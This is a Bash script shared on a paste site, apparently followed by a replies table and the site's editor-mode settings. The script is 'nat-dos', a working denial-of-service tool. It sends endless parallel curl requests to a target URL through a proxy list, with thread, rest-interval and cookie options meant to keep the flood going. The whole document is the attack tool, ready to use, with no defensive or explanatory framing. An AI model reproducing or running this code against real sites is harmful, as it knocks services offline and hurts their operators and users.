#!/bin/bash
#
# nat-dos: A simple CC attack tool using proxy written in BaSH, with proxy save/load support.
#
# .
# ├── cookies/
# ├── nat-ddos
# └── proxylist.txt
#
function getarg {
cat /dev/stdin | awk -F"--$1 " '{print $2}' | awk -F" " '{print $1}'
}
function run {
while true
do
echo -n "[$(date)] About to send DoS... "
for i in $loopstr
do
[[ -z $(echo $i | attack $* 2> /dev/stdout) ]] && echo -n "[+$i] " || echo -n "[-$i] "
done
[[ -z $nowait ]] && echo -e "\n[$(date)] Rest $rest second..." && sleep $rest || echo
[[ ! -z $killcurl ]] && killall -9 curl
done
}
function attack {
for p in $(cat $list)
do
if [[ ! -z $read_cookie ]]
then
[[ ! -e cookies/$p ]] && cookiestr="-c cookies/$p" || cookiestr="-b cookies/$p"
else
[[ ! -z $cookie_load ]] && cookiestr="-b $cookie_load"
fi
http_proxy=$p curl $* --max-time $timeout $cookiestr >> /dev/null 2> /dev/null &
done
}
function genloop {
i=1
thread=$(echo $thread+1 | bc)
while [[ $i != $thread ]]
do
loopstr="$loopstr $i "
i=$(echo $i+1 | bc)
done
echo $loopstr
}
function usage {
echo "usage: nat-ddos --url <target> --proxys <proxy_list>"
echo " [--nowait] [--rest n] [--killcurl] [--thread n]"
echo " [--load-cookies cookie] [--read-cookies]"
echo " [--proxy-timeout n]"
exit 1
}
target=$(echo $* | getarg url)
thread=$(echo $* | getarg thread)
list=$(echo $* | getarg proxys)
nowait=$(echo $* | grep nowait)
rest=$(echo $* | getarg rest)
killcurl=$(echo $* | grep killcurl)
cookie_load=$(echo $* | getarg load-cookie)
read_cookies=$(echo $* | grep read-cookies)
timeout=$(echo $* | getarg proxy-timeout)
[[ -z $thread ]] && thread=5
[[ -z $timeout ]] && timeout=15
[[ -z $rest ]] && rest=5
[[ -z $list || -z $target ]] && usage
loopstr=$(genloop)
rm -fr cookies 2> /dev/null
echo "[$(date)] Attacking $target with $thread thread(s)"
run $target
Replies to nat-DoS 
Title |
Name |
Language |
When |
Re: nat-DoS |
NAT |
bash |
7 Years ago. |
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}